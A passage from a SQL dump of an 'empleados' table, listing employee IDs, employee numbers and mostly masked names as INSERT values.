'<NAME>'), (893, 359404, '<NAME>'), (894, 297672, '<NAME>'), (895, 359523, '<NAME>'), (896, 359601, '<NAME>'), (897, 182286, '<NAME>'), (898, 298330, '<NAME>'), (899, 183512, '<NAME> <NAME>'), (900, 298462, '<NAME>'), (901, 183852, '<NAME>'), (902, 360309, '<NAME>'), (903, 360536, '<NAME>'), (904, 184980, '<NAME>'), (905, 299516, '<NAME>'), (906, 299536, '<NAME>'), (907, 360728, '<NAME>'), (908, 360937, '<NAME>'), (909, 361068, '<NAME>'), (910, 300125, '<NAME> <NAME>'), (911, 361297, '<NAME>'), (912, 300318, '<NAME>'), (913, 361550, '<NAME>'), (914, 361705, '<NAME>'), (915, 188859, '<NAME>'), (916, 188886, '<NAME>'), (917, 362309, '<NAME>'), (918, 189697, '<NAME>'), (919, 362439, '<NAME>'), (920, 362443, '<NAME>'), (921, 362447, '<NAME>'), (922, 362454, '<NAME>'), (923, 362458, '<NAME>'), (924, 362462, '<NAME>'), (925, 362466, 'RIVAS <NAME>'), (926, 362471, '<NAME>'), (927, 362483, '<NAME>'), (928, 362487, '<NAME>'), (929, 362515, '<NAME>'), (930, 362519, '<NAME>'), (931, 362523, '<NAME>'), (932, 362550, '<NAME>'), (933, 190530, '<NAME>'), (934, 363466, '<NAME>'), (935, 363537, '<NAME>'), (936, 45958, '<NAME>'), (937, 47510, '<NAME>'), (938, 47662, '<NAME>'), (939, 300833, '<NAME>'), (940, 249636, '<NAME>'), (941, 249819, '<NAME>'), (942, 363849, '<NAME>'), (943, 363861, '<NAME> <NAME>'), (944, 193573, '<NAME>'), (945, 59036, '<NAME>'), (946, 375986, '<NAME>'), (947, 367900, '<NAME>'), (948, 301841, '<NAME>'), (949, 367958, '<NAME>'), (950, 250976, '<NAME>'), (951, 372309, '<NAME>'), (952, 380647, '<NAME>'), (953, 251413, '<NAME>'), (954, 386016, '<NAME>'), (955, 251524, 'PEREZ <NAME>'), (956, 302356, '<NAME>'), (957, 386251, '<NAME>'), (958, 335481, '<NAME>'), (959, 368512, '<NAME> <NAME>'), (960, 376747, '<NAME>'), (961, 381176, '<NAME>'), (962, 70032, '<NAME>'), (963, 195797, '<NAME>'), (964, 365082, '<NAME>'), (965, 376925, '<NAME>'), (966, 302624, '<NAME>'), (967, 373053, '<NAME>'), (968, 376929, '<NAME>'), (969, 386865, '<NAME>'), (970, 252536, '<NAME>'), (971, 377003, '<NAME>'), (972, 377055, '<NAME>'), (973, 365282, '<NAME>'), (974, 377124, '<NAME>'), (975, 381745, '<NAME>'), (976, 387350, '<NAME>'), (977, 302932, '<NAME>'), (978, 377293, '<NAME>'), (979, 75701, '<NAME>'), (980, 335895, '<NAME>'), (981, 373406, '<NAME>'), (982, 373482, '<NAME>'), (983, 373487, '<NAME>'), (984, 377502, '<NAME>'), (985, 365705, '<NAME>'), (986, 253750, '<NAME>'), (987, 373731, '<NAME>'), (988, 388107, '<NAME>'), (989, 382442, '<NAME>'), (990, 373831, '<NAME>'), (991, 254199, '<NAME>'), (992, 197993, '<NAME>'), (993, 365997, '<NAME>'), (994, 369697, '<NAME>'), (995, 198148, '<NAME>'), (996, 369751, '<NAME>'), (997, 82627, '<NAME>'), (998, 304141, '<NAME>'), (999, 304186, '<NAME>'), (1000, 366383, '<NAME>'), (1001, 374337, '<NAME>'), (1002, 383133, '<NAME>'), (1003, 198600, '<NAME>'), (1004, 389035, '<NAME> <NAME>'), (1005, 336589, '<NAME>'), (1006, 336597, '<NAME>'), (1007, 336602, '<NAME>'), (1008, 336606, '<NAME>'), (1009, 370096, '<NAME>'), (1010, 336611, '<NAME>'), (1011, 336615, '<NAME>'), (1012, 304451, '<NAME>'), (1013, 199024, '<NAME>'), (1014, 255599, '<NAME>'), (1015, 304685, '<NAME>'), (1016, 255760, '<NAME>'), (1017, 378748, '<NAME>'), (1018, 378893, '<NAME>'), (1019, 370444, '<NAME>'), (1020, 374835, '<NAME>'), (1021, 366971, '<NAME>'), (1022, 366977, '<NAME>'), (1023, 383989, '<NAME>'), (1024, 88579, '<NAME>'), (1025, 370559, '<NAME>'), (1026, 367154, '<NAME>'), (1027, 375074, '<NAME>'), (1028, 594400, '<NAME>'), (1029, 594404, '<NAME>'), (1030, 594408, '<NAME>'), (1031, 379335, '<NAME>'), (1032, 384354, '<NAME>'), (1033, 384365, '<NAME>'), (1034, 305168, '<NAME>'), (1035, 305180, '<NAME>'), (1036, 384486, '<NAME>'), (1037, 379549, '<NAME>'), (1038, 379554, '<NAME> <NAME>'), (1039, 200173, '<NAME>'), (1040, 367367, '<NAME>'), (1041, 200179, '<NAME>'), (1042, 367371, '<NAME>'), (1043, 200211, '<NAME>'), (1044, 200222, '<NAME>'), (1045, 305350, '<NAME>'), (1046, 305357, '<NAME>'), (1047, 379728, '<NAME>'), (1048, 594780, '<NAME> <NAME>'), (1049, 594784, '<NAME>'), (1050, 594812, '<NAME>'), (1051, 371250, '<NAME>'), (1052, 337463, '<NAME>'), (1053, 371380, '<NAME>'), (1054, 380203, '<NAME>'), (1055, 385624, '<NAME>'), (1056, 306103, '<NAME>'), (1057, 257692, '<NAME>'), (1058, 337681, '<NAME>'), (1059, 257760, '<NAME>'), (1060, 257962, '<NAME>'), (1061, 337786, '<NAME>'), (1062, 337792, '<NAME>'), (1063, 258433, '<NAME>'), (1064, 202510, '<NAME>'), (1065, 307087, '<NAME>'), (1066, 259334, '<NAME>'), (1067, 203438, '<NAME>'), (1068, 259484, '<NAME>'), (1069, 203884, '<NAME>'), (1070, 203891, '<NAME>'), (1071, 259991, '<NAME>'), (1072, 111603, '<NAME>'), (1073, 307556, '<NAME>'), (1074, 204335, '<NAME>'), (1075, 307870, '<NAME>'), (1076, 338906, '<NAME>'), (1077, 307909, '<NAME>'), (1078, 260843, '<NAME>'), (1079, 115715, '<NAME>'), (1080, 339152, '<NAME>'), (1081, 205479, '<NAME>'), (1082, 339423, '<NAME>'), (1083, 261726, '<NAME>'), (1084, 261876, '<NAME>'), (1085, 206315, '<NAME>'), (1086, 206634, '<NAME>'), (1087, 309331, '<NAME>'), (1088, 309389, '<NAME>'), (1089, 339816, '<NAME>'), (1090, 263195, '<NAME>'), (1091, 123990, '<NAME>'), (1092, 310059, '<NAME>'), (1093, 263980, '<NAME>'), (1094, 264065, '<NAME>'), (1095, 125587, '<NAME>'), (1096, 310270, '<NAME>'), (1097, 125964, '<NAME>'), (1098, 310356, '<NAME>'), (1099, 208584, '<NAME> <NAME>'), (1100, 208631, '<NAME>'), (1101, 264751, '<NAME>'), (1102, 209041, '<NAME>'), (1103, 265450, '<NAME>'), (1104, 265455, '<NAME>'), (1105, 265463, '<NAME>'), (1106, 265467, '<NAME>'), (1107, 265473, '<NAME>'), (1108, 265479, '<NAME>'), (1109, 209784, '<NAME>'), (1110, 209814, '<NAME>'), (1111, 341131, '<NAME>'), (1112, 265727, '<NAME>'), (1113, 265734, '<NAME>'), (1114, 210197, '<NAME>'), (1115, 210266, '<NAME>'), (1116, 210807, '<NAME>'), (1117, 210813, '<NAME>'), (1118, 210819, '<NAME>'), (1119, 266489, '<NAME>'), (1120, 211916, '<NAME>'), (1121, 212151, '<NAME>'), (1122, 267491, '<NAME>'), (1123, 212529, '<NAME>'), (1124, 212844, '<NAME>'), (1125, 318790, '<NAME>'), (1126, 137135, '<NAME>'), (1127, 268396, '<NAME>'), (1128, 342597, '<NAME>'), (1129, 342602, '<NAME>'), (1130, 318941, '<NAME>'), (1131, 137887, '<NAME>'), (1132, 322488, '<NAME>'), (1133, 319183, '<NAME>'), (1134, 213991, '<NAME>'), (1135, 315221, '<NAME>'), (1136, 214049, '<NAME>'), (1137, 315407, '<NAME>'), (1138, 214245, '<NAME>'), (1139, 325503, '<NAME>'), (1140, 214325, '<NAME>'), (1141, 269320, '<NAME>'), (1142, 214389, '<NAME>'), (1143, 214485, '<NAME>'), (1144, 343117, '<NAME>'), (1145, 325770, '<NAME>'), (1146, 319802, '<NAME>'), (1147, 343309, '<NAME>'), (1148, 343313, '<NAME>'), (1149, 343395, '<NAME>'), (1150, 141749, '<NAME>'), (1151, 343400, '<NAME>'), (1152, 326121, '<NAME>'), (1153, 270374, '<NAME>'), (1154, 343473, '<NAME>'), (1155, 329205, '<NAME>'), (1156, 343550, '<NAME>'), (1157, 316364, '<NAME>'), (1158, 326245, '<NAME>'), (1159, 142454, '<NAME>'), (1160, 329343, '<NAME>'), (1161, 270952, '<NAME>'), (1162, 329385, '<NAME>'); INSERT INTO `empleados` (`id`, `num_empleado`, `nombre`) VALUES (1163, 343745, '<NAME>'), (1164, 329391, '<NAME>'), (1165, 216000, '<NAME>'), (1166, 216021, '<NAME>'), (1167, 271071, '<NAME>'), (1168, 343867, '<NAME>'), (1169, 329561, '<NAME>'), (1170, 320594, '<NAME>'), (1171, 344013, '<NAME>'), (1172, 143653, '<NAME>'), (1173, 329723, '<NAME>'), (1174, 323726, '<NAME>'), (1175, 323733, '<NAME>'), (1176, 216650, '<NAME>'), (1177, 329870, '<NAME>'), (1178, 316908, '<NAME>'), (1179, 144951, '<NAME>'), (1180, 316913, '<NAME>'), (1181, 217276, '<NAME>'), (1182, 344391, '<NAME>'), (1183, 313132, '<NAME>'), (1184, 321111, '<NAME>'), (1185, 145701, '<NAME>'), (1186, 327230, '<NAME>'), (1187, 330393, '<NAME>'), (1188, 330413, '<NAME>'), (1189, 330417, '<NAME>'), (1190, 330421, '<NAME>'), (1191, 217997, '<NAME>'), (1192, 330555, '<NAME>'), (1193, 147661, '<NAME>'), (1194, 317967, '<NAME>'), (1195, 313728, 'DE LA CRUZ <NAME>'), (1196, 313734, '<NAME>'), (1197, 327938, '<NAME>'), (1198, 333722, '<NAME>'), (1199, 327948, '<NAME>'), (1200, 313749, '<NAME>'), (1201, 327956, '<NAME>'), (1202, 333737, '<NAME>'), (1203, 327961, 'PLASCENCIA <NAME>'), (1204, 345092, '<NAME>'), (1205, 333899, '<NAME>'), (1206, 333906, '<NAME>'), (1207, 321975, '<NAME>'), (1208, 219188, '<NAME>'), (1209, 345315, '<NAME>'), (1210, 322078, '<NAME>'), (1211, 322137, '<NAME>'), (1212, 325020, '<NAME>'), (1213, 325024, '<NAME>'), (1214, 345409, '<NAME>'), (1215, 148819, '<NAME>'), (1216, 148892, '<NAME>'), (1217, 318581, '<NAME>'), (1218, 274819, '<NAME>'), (1219, 219838, '<NAME>'), (1220, 334310, '<NAME>'), (1221, 220165, '<NAME>'), (1222, 220290, '<NAME>'), (1223, 220297, '<NAME>'), (1224, 345949, '<NAME>'), (1225, 346097, '<NAME>'), (1226, 220766, '<NAME>'), (1227, 220783, '<NAME>'), (1228, 220800, '<NAME>'), (1229, 220808, '<NAME>'), (1230, 150563, '<NAME>'), (1231, 221380, '<NAME>'), (1232, 346325, '<NAME>'), (1233, 151638, '<NAME>'), (1234, 152255, '<NAME>'), (1235, 222493, '<NAME>'), (1236, 277509, '<NAME>'), (1237, 222538, '<NAME>'), (1238, 277894, '<NAME>'), (1239, 347003, '<NAME>'), (1240, 154026, '<NAME>'), (1241, 223441, '<NAME>'), (1242, 278412, '<NAME>'), (1243, 278485, '<NAME>'), (1244, 223964, '<NAME>'), (1245, 279092, '<NAME>'), (1246, 225015, '<NAME>'), (1247, 156454, '<NAME>'), (1248, 225176, '<NAME>'), (1249, 225208, '<NAME>'), (1250, 225215, '<NAME>'), (1251, 225223, '<NAME>'), (1252, 225233, '<NAME>'), (1253, 225237, '<NAME>'), (1254, 156633, '<NAME>'), (1255, 280168, '<NAME>'), (1256, 226184, '<NAME>'), (1257, 226189, '<NAME>'), (1258, 226261, '<NAME>'), (1259, 226725, '<NAME>'), (1260, 348424, '<NAME>'), (1261, 227085, '<NAME> <NAME>'), (1262, 227090, '<NAME>'), (1263, 280953, '<NAME>'), (1264, 227313, '<NAME>'), (1265, 227510, '<NAME>'), (1266, 281125, '<NAME>'), (1267, 159082, '<NAME>'), (1268, 159102, '<NAME>'), (1269, 159122, '<NAME>'), (1270, 159149, '<NAME>'), (1271, 159210, '<NAME>'), (1272, 281466, '<NAME>'), (1273, 159236, '<NAME>'), (1274, 281536, '<NAME>'), (1275, 281549, '<NAME>'), (1276, 349034, '<NAME>'), (1277, 160456, '<NAME>'), (1278, 281938, '<NAME>'), (1279, 229532, '<NAME>'), (1280, 161345, '<NAME>'), (1281, 349442, '<NAME>'), (1282, 282271, '<NAME>'), (1283, 282276, '<NAME>'), (1284, 282796, '<NAME> <NAME>'), (1285, 282805, '<NAME>'), (1286, 349704, '<NAME>'), (1287, 230611, '<NAME>'), (1288, 283103, '<NAME>'), (1289, 283132, '<NAME>'), (1290, 231092, '<NAME>'), (1291, 231213, '<NAME>'), (1292, 350052, '<NAME>'), (1293, 284148, '<NAME>'), (1294, 350552, '<NAME>'), (1295, 284503, '<NAME>'), (1296, 232808, '<NAME>'), (1297, 165195, '<NAME>'), (1298, 165240, '<NAME>'), (1299, 165321, '<NAME>'), (1300, 284938, '<NAME>'), (1301, 351197, '<NAME>'), (1302, 234108, '<NAME>'), (1303, 285632, '<NAME>'), (1304, 351492, '<NAME>'), (1305, 234885, '<NAME>'), (1306, 351840, '<NAME>'), (1307, 148833, '<NAME>'), (1308, 221744, '<NAME>'), (1309, 309174, '<NAME>'), (1310, 287092, '<NAME>'), (1311, 287124, '<NAME>'), (1312, 365685, '<NAME>'), (1313, 352646, '<NAME>'), (1314, 368515, '<NAME>'), (1315, 352779, '<NAME>'), (1316, 170591, '<NAME>'), (1317, 170624, '<NAME>'), (1318, 374390, '<NAME>'), (1319, 237865, '<NAME>'), (1320, 378648, '<NAME>'), (1321, 379887, '<NAME>'), (1322, 381106, '<NAME>'), (1323, 384358, '<NAME>'), (1324, 386235, '<NAME>'), (1325, 386332, '<NAME>'), (1326, 238681, '<NAME> <NAME>'), (1327, 387348, '<NAME>'), (1328, 389990, '<NAME>'), (1329, 238963, '<NAME>'), (1330, 353686, '<NAME>'), (1331, 390397, '<NAME>'), (1332, 390425, '<NAME>'), (1333, 390437, '<NAME>'), (1334, 353919, '<NAME>'), (1335, 172586, '<NAME>'), (1336, 240079, '<NAME>'), (1337, 290069, '<NAME>'), (1338, 240506, '<NAME>'), (1339, 290332, '<NAME>'), (1340, 354555, '<NAME>'), (1341, 290429, '<NAME>'), (1342, 354640, '<NAME>'), (1343, 290666, '<NAME>'), (1344, 173555, '<NAME>'), (1345, 354943, '<NAME>'), (1346, 355003, '<NAME>'), (1347, 291297, '<NAME>'), (1348, 355022, '<NAME>'), (1349, 355052, '<NAME>'), (1350, 242041, '<NAME>'), (1351, 174379, '<NAME>'), (1352, 291883, '<NAME>'), (1353, 355576, '<NAME>'), (1354, 355642, '<NAME>'), (1355, 292011, '<NAME>'), (1356, 174570, '<NAME>'), (1357, 174581, '<NAME>'), (1358, 355680, '<NAME>'), (1359, 174595, '<NAME>'), (1360, 174614, '<NAME>'), (1361, 292060, '<NAME>'), (1362, 174652, '<NAME> <NAME>'), (1363, 355753, '<NAME>'), (1364, 356149, '<NAME>'), (1365, 356297, '<NAME>'), (1366, 356532, '<NAME>'), (1367, 356805, '<NAME>'), (1368, 245941, '<NAME>'), (1369, 294108, '<NAME>'), (1370, 246849, '<NAME>'), (1371, 246978, '<NAME>'), (1372, 357307, '<NAME>'), (1373, 357359, '<NAME>'), (1374, 247903, '<NAME>'), (1375, 357787, '<NAME>'), (1376, 357954, '<NAME>'), (1377, 295725, '<NAME>'), (1378, 358387, '<NAME>'), (1379, 358584, '<NAME>'), (1380, 358913, '<NAME>'), (1381, 297107, '<NAME>'), (1382, 359222, '<NAME>'), (1383, 181824, '<NAME>'), (1384, 359520, '<NAME>'), (1385, 359597, '<NAME>'), (1386, 359609, '<NAME>'), (1387, 297941, '<NAME>'), (1388, 359796, '<NAME>'), (1389, 182278, '<NAME>'), (1390, 182289, '<NAME>'), (1391, 298332, '<NAME>'), (1392, 183857, '<NAME>'), (1393, 360315, '<NAME>'), (1394, 360438, '<NAME>'), (1395, 184981, '<NAME>'), (1396, 360537, '<NAME>'), (1397, 360729, '<NAME>'), (1398, 360938, '<NAME>'), (1399, 186562, '<NAME>'), (1400, 361213, '<NAME>'), (1401, 361275, '<NAME>'), (1402, 300230, '<NAME>'), (1403, 361552, '<NAME>'), (1404, 361706, '<NAME> <NAME>'), (1405, 362436, '<NAME>'), (1406, 362440, '<NAME>'), (1407, 362444, '<NAME>'), (1408, 362451, '<NAME>'), (1409, 362455, '<NAME>'), (1410, 362459, '<NAME>'), (1411, 362463, '<NAME>'), (1412, 362468, '<NAME>'), (1413, 362472, '<NAME>'), (1414, 362484, '<NAME>'), (1415, 362488, '<NAME> <NAME>'), (1416, 362516, '<NAME>'), (1417, 362520, '<NAME>'), (1418, 362525, '<NAME>'), (1419, 362551, '<NAME>'), (1420, 190532, '<NAME> <NAME>'), (1421, 362960, '<NAME>'), (1422, 363456, '<NAME>'), (1423, 376928, '<NAME>'), (1424, 350048, '<NAME>'), (1425, 364999, '<NAME>'), (1426, 24775, '<NAME>'), (1427, 190926, '<NAME>'), (1428, 300409, '<NAME>'), (1429, 192189, '<NAME>'), (1430, 192201, '<NAME>'), (1431, 249398, '<NAME>'), (1432, 334521, '<NAME>'), (1433, 249800, '<NAME>'), (1434, 249820, '<NAME>'), (1435, 363846, '<NAME>'), (1436, 334776, '<NAME>'), (1437, 364053, '<NAME>'), (1438, 301470, '<NAME>'), (1439, 193552, '<NAME>'), (1440, 375880, '<NAME>'), (1441, 367792, '<NAME>'), (1442, 372205, '<NAME>'), (1443, 380660, '<NAME>'), (1444, 251286, '<NAME>'), (1445, 380773, '<NAME>'), (1446, 380836, '<NAME>'), (1447, 372548, '<NAME>'), (1448, 386018, '<NAME>'), (1449, 302239, '<NAME>'), (1450, 380957, '<NAME>'), (1451, 380976, '<NAME>'), (1452, 368421, '<NAME>'), (1453, 372746, '<NAME>'), (1454, 335482, '<NAME>'), (1455, 381107, '<NAME>'), (1456, 368509, '<NAME>'), (1457, 368513, '<NAME>'), (1458, 368550, '<NAME>'), (1459, 381177, '<NAME>'), (1460, 365000, '<NAME>'), (1461, 365083, '<NAME>'), (1462, 376898, '<NAME>'), (1463, 376926, '<NAME>'), (1464, 302625, '<NAME>'), (1465, 381381, '<NAME>'), (1466, 386866, '<NAME>'), (1467, 368775, '<NAME>'), (1468, 252538, '<NAME>'), (1469, 387104, '<NAME>'), (1470, 302803, '<NAME>'), (1471, 377120, '<NAME>'), (1472, 196747, '<NAME>'), (1473, 377244, '<NAME>'), (1474, 387344, '<NAME>'), (1475, 387351, '<NAME>'), (1476, 302933, '<NAME>'), (1477, 75642, '<NAME>'), (1478, 377294, '<NAME>'), (1479, 335896, '<NAME>'), (1480, 365593, '<NAME>'), (1481, 373483, '<NAME>'), (1482, 382037, '<NAME>'), (1483, 382048, '<NAME>'), (1484, 369213, '<NAME>'), (1485, 77470, '<NAME>'), (1486, 377491, '<NAME>'), (1487, 365707, '<NAME>'), (1488, 382439, '<NAME>'), (1489, 373832, '<NAME>'), (1490, 388500, '<NAME>'), (1491, 369699, '<NAME>'), (1492, 366302, '<NAME>'), (1493, 366385, '<NAME>'), (1494, 383134, '<NAME>'), (1495, 389036, '<NAME>'), (1496, 383158, '<NAME>'), (1497, 370024, '<NAME>'), (1498, 336590, '<NAME>'), (1499, 336598, '<NAME>'), (1500, 336603, '<NAME>'), (1501, 336607, '<NAME>'), (1502, 336612, '<NAME>'), (1503, 336617, '<NAME>'), (1504, 304453, '<NAME>'), (1505, 255362, '<NAME>'), (1506, 374531, '<NAME>'), (1507, 199044, '<NAME>'), (1508, 255600, '<NAME>'), (1509, 199132, '<NAME>'), (1510, 378658, '<NAME>'), (1511, 378669, '<NAME>'), (1512, 87237, '<NAME>'), (1513, 255889, '<NAME>'), (1514, 304886, '<NAME>'), (1515, 199460, '<NAME>'), (1516, 366972, '<NAME>'), (1517, 366978, '<NAME>'), (1518, 383990, '<NAME>'), (1519, 384099, '<NAME>'), (1520, 370560, '<NAME>'), (1521, 379156, '<NAME>'), (1522, 594397, '<NAME>'), (1523, 594401, '<NAME>'), (1524, 594405, '<NAME>'), (1525, 594409, '<NAME>'), (1526, 367187, '<NAME>'), (1527, 384356, '<NAME>'), (1528, 384366, '<NAME>'), (1529, 384487, '<NAME>'), (1530, 379550, '<NAME>'), (1531, 200174, '<NAME>'), (1532, 379556, '<NAME>'), (1533, 367368, '<NAME>'), (1534, 200180, '<NAME>'), (1535, 367372, '<NAME>'), (1536, 305351, '<NAME>'), (1537, 305358, '<NAME>'), (1538, 375436, '<NAME>'), (1539, 379729, '<NAME>'), (1540, 375562, '<NAME>'), (1541, 594781, '<NAME>'), (1542, 594785, '<NAME>'), (1543, 594813, '<NAME>'), (1544, 385369, '<NAME>'), (1545, 595018, '<NAME>'), (1546, 371525, '<NAME>'), (1547, 257693, '<NAME>'), (1548, 257704, '<NAME>'), (1549, 257963, '<NAME>'), (1550, 337793, '<NAME>'), (1551, 107163, '<NAME>'), (1552, 258414, '<NAME>'), (1553, 202515, '<NAME>'), (1554, 307088, '<NAME>'), (1555, 109736, '<NAME>'), (1556, 307224, '<NAME>'), (1557, 203439, '<NAME>'), (1558, 259902, '<NAME>'), (1559, 203886, '<NAME>'), (1560, 203892, '<NAME>'), (1561, 204336, '<NAME>'), (1562, 260748, '<NAME>'), (1563, 338914, '<NAME>'), (1564, 307893, '<NAME>'), (1565, 260917, '<NAME>'), (1566, 338997, '<NAME>'), (1567, 205843, '<NAME>'), (1568, 119086, '<NAME>'), (1569, 261878, '<NAME>'), (1570, 261962, '<NAME>'), (1571, 309076, '<NAME>'), (1572, 309177, '<NAME>'), (1573, 206640, '<NAME>'), (1574, 309332, '<NAME>'), (1575, 262790, '<NAME>'), (1576, 262919, '<NAME>'), (1577, 121925, '<NAME>'), (1578, 263385, '<NAME>'), (1579, 207419, '<NAME>'), (1580, 124950, '<NAME>'), (1581, 264067, '<NAME>'), (1582, 340476, '<NAME>'), (1583, 264563, '<NAME>'), (1584, 310440, '<NAME>'), (1585, 209043, '<NAME>'), (1586, 340716, '<NAME>'), (1587, 209069, '<NAME>'), (1588, 341027, '<NAME>'), (1589, 265464, '<NAME>'), (1590, 265469, '<NAME>'), (1591, 265474, '<NAME>'), (1592, 265729, '<NAME>'), (1593, 265742, '<NAME>'), (1594, 210194, '<NAME>'), (1595, 130203, '<NAME>'), (1596, 341422, 'DE LA <NAME>'), (1597, 210541, '<NAME>'), (1598, 210739, '<NAME>'), (1599, 210808, 'ZARAGOZA <NAME>'), (1600, 210815, '<NAME>'), (1601, 211162, '<NAME>'), (1602, 266458, '<NAME>'), (1603, 211184, '<NAME>'), (1604, 211917, '<NAME>'), (1605, 266966, '<NAME>'), (1606, 212152, '<NAME>'), (1607, 267438, '<NAME>'), (1608, 212532, '<NAME>'), (1609, 268341, '<NAME>'), (1610, 268400, '<NAME>'), (1611, 213303, '<NAME>'), (1612, 342598, '<NAME>'), (1613, 342603, '<NAME>'), (1614, 138007, '<NAME>'), (1615, 213621, '<NAME>'), (1616, 322511, '<NAME>'), (1617, 342736, '<NAME>'), (1618, 268933, '<NAME>'), (1619, 138579, '<NAME>'), (1620, 315222, '<NAME>'), (1621, 214185, '<NAME>'), (1622, 214223, '<NAME>'), (1623, 315401, '<NAME>'), (1624, 214257, '<NAME>'), (1625, 325504, '<NAME>'), (1626, 214338, '<NAME>'), (1627, 319795, '<NAME>'), (1628, 319804, '<NAME>'), (1629, 270019, '<NAME>'), (1630, 343310, '<NAME>'), (1631, 316127, '<NAME>'), (1632, 343391, '<NAME>'), (1633, 141751, '<NAME>'), (1634, 215463, '<NAME>'), (1635, 326122, '<NAME>'), (1636, 312377, '<NAME>'), (1637, 343552, '<NAME>'), (1638, 326241, '<NAME>'), (1639, 326246, '<NAME>'), (1640, 329344, '<NAME>'), (1641, 326305, '<NAME>'), (1642, 270954, '<NAME>'), (1643, 329386, '<NAME>'), (1644, 329392, '<NAME>'), (1645, 320403, '<NAME>'), (1646, 316484, '<NAME> <NAME>'), (1647, 332618, '<NAME>'), (1648, 343863, '<NAME>'), (1649, 329712, '<NAME>'), (1650, 329724, '<NAME>'), (1651, 323729, '<NAME>'), (1652, 216642, '<NAME>'), (1653, 216654, '<NAME>'), (1654, 144464, '<NAME>'), (1655, 329871, '<NAME>'), (1656, 144654, '<NAME> <NAME>'), (1657, 329920, '<NAME>'), (1658, 316905, '<NAME>'), (1659, 316910, '<NAME>'), (1660, 316914, '<NAME>'), (1661, 320989, '<NAME>'), (1662, 330106, '<NAME>'), (1663, 313134, '<NAME>'), (1664, 217464, '<NAME>'), (1665, 321112, '<NAME>'), (1666, 145704, '<NAME>'), (1667, 327231, '<NAME>'), (1668, 330414, '<NAME>'), (1669, 330418, '<NAME>'), (1670, 330422, '<NAME>'), (1671, 324340, '<NAME>'), (1672, 273289, '<NAME>'), (1673, 147179, '<NAME>'), (1674, 317851, '<NAME>'), (1675, 148180, '<NAME>'), (1676, 330820, '<NAME>'), (1677, 313730, '<NAME>'), (1678, 327943, '<NAME>'), (1679, 333724, '<NAME>'), (1680, 333731, '<NAME>'), (1681, 327957, '<NAME>'), (1682, 333738, '<NAME>'), (1683, 333907, '<NAME>'), (1684, 321976, '<NAME>'), (1685, 345316, '<NAME>'), (1686, 331104, '<NAME>'), (1687, 325021, '<NAME>'), (1688, 325025, '<NAME>'), (1689, 345410, '<NAME>'), (1690, 148896, '<NAME>'), (1691, 318582, '<NAME>'), (1692, 219657, '<NAME>'), (1693, 314129, '<NAME>'), (1694, 219839, '<NAME>'), (1695, 345711, '<NAME>'), (1696, 275405, '<NAME>'), (1697, 220177, '<NAME>'), (1698, 220291, '<NAME>'), (1699, 220777, '<NAME>'), (1700, 220784, '<NAME>'), (1701, 220812, '<NAME>'), (1702, 221373, '<NAME>'), (1703, 346322, '<NAME>'), (1704, 221381, '<NAME>'), (1705, 346327, '<NAME>'), (1706, 221616, '<NAME>'), (1707, 151475, '<NAME>'), (1708, 346659, '<NAME>'), (1709, 152168, '<NAME>'), (1710, 152228, '<NAME>'), (1711, 152258, '<NAME>'), (1712, 277510, '<NAME>'), (1713, 152747, '<NAME> <NAME>'), (1714, 278293, '<NAME>'), (1715, 223966, '<NAME>'), (1716, 225088, '<NAME>'), (1717, 156455, '<NAME>'), (1718, 225181, '<NAME>'), (1719, 279324, '<NAME>'), (1720, 225209, '<NAME>'), (1721, 225216, '<NAME>'), (1722, 225225, '<NAME>'), (1723, 225234, '<NAME>'), (1724, 225238, '<NAME>'), (1725, 279410, '<NAME>'), (1726, 156641, '<NAME>'), (1727, 279929, '<NAME>'), (1728, 280201, '<NAME>'), (1729, 226186, '<NAME>'), (1730, 226463, '<NAME>'), (1731, 226878, '<NAME>'), (1732, 227086, '<NAME>'), (1733, 227880, '<NAME>'), (1734, 281392, '<NAME>'), (1735, 159067, '<NAME>'), (1736, 159088, '<NAME>'), (1737, 159130, '<NAME>'), (1738, 159152, '<NAME>'), (1739, 159191, '<NAME>'), (1740, 159219, '<NAME>'), (1741, 159238, '<NAME>'), (1742, 281551, '<NAME>'), (1743, 281756, '<NAME>'), (1744, 160914, '<NAME>'), (1745, 229450, '<NAME>'), (1746, 349439, '<NAME>'), (1747, 282272, '<NAME>'), (1748, 282278, '<NAME>'), (1749, 229939, '<NAME>'), (1750, 230202, '<NAME>'), (1751, 282793, 'DE LA TRINIDAD <NAME>'), (1752, 282801, '<NAME>'), (1753, 282806, '<NAME>'), (1754, 349705, '<NAME>'), (1755, 231096, '<NAME>'), (1756, 163189, '<NAME>'), (1757, 350053, '<NAME>'), (1758, 350091, '<NAME>'), (1759, 231422, '<NAME>'), (1760, 350553, '<NAME>'), (1761, 284509, '<NAME>'), (1762, 284577, '<NAME>'), (1763, 165324, '<NAME>'), (1764, 284843, '<NAME>'), (1765, 165663, '<NAME>'), (1766, 351060, '<NAME>'), (1767, 351111, '<NAME>'), (1768, 234079, '<NAME>'), (1769, 351248, '<NAME>'), (1770, 235602, '<NAME>'), (1771, 352208, '<NAME>'), (1772, 287094, '<NAME>'), (1773, 236727, '<NAME>'), (1774, 236827, '<NAME>'), (1775, 169617, '<NAME>'), (1776, 287289, '<NAME>'), (1777, 365001, '<NAME>'), (1778, 170456, '<NAME>'), (1779, 352780, '<NAME>'), (1780, 287594, '<NAME>'), (1781, 170608, '<NAME>'), (1782, 373267, '<NAME>'), (1783, 374238, '<NAME>'), (1784, 170893, 'MORENO <NAME>'), (1785, 237866, '<NAME>'), (1786, 376939, '<NAME>'), (1787, 237987, '<NAME>'), (1788, 378657, '<NAME>'), (1789, 380659, '<NAME>'), (1790, 238249, '<NAME>'), (1791, 238493, '<NAME>'), (1792, 386559, '<NAME>'), (1793, 238692, '<NAME>'), (1794, 386696, '<NAME>'), (1795, 238720, '<NAME>'), (1796, 288734, '<NAME>'), (1797, 353687, '<NAME>'), (1798, 390360, '<NAME>'), (1799, 239357, '<NAME>'), (1800, 353920, '<NAME>'), (1801, 172590, '<NAME>'), (1802, 354040, '<NAME>'), (1803, 354105, '<NAME>'), (1804, 289906, '<NAME>'), (1805, 240080, '<NAME>'), (1806, 240122, '<NAME>'), (1807, 290070, '<NAME>'), (1808, 240511, '<NAME>'), (1809, 240926, '<NAME>'), (1810, 354641, '<NAME>'), (1811, 241091, '<NAME>'), (1812, 290797, '<NAME>'), (1813, 354944, '<NAME>'), (1814, 355004, '<NAME>'), (1815, 291321, '<NAME>'), (1816, 355053, '<NAME>'), (1817, 173967, '<NAME>'), (1818, 355146, '<NAME>'), (1819, 174575, '<NAME>'), (1820, 174585, '<NAME>'), (1821, 174596, '<NAME>'), (1822, 175049, '<NAME>'), (1823, 243704, '<NAME>'), (1824, 356247, 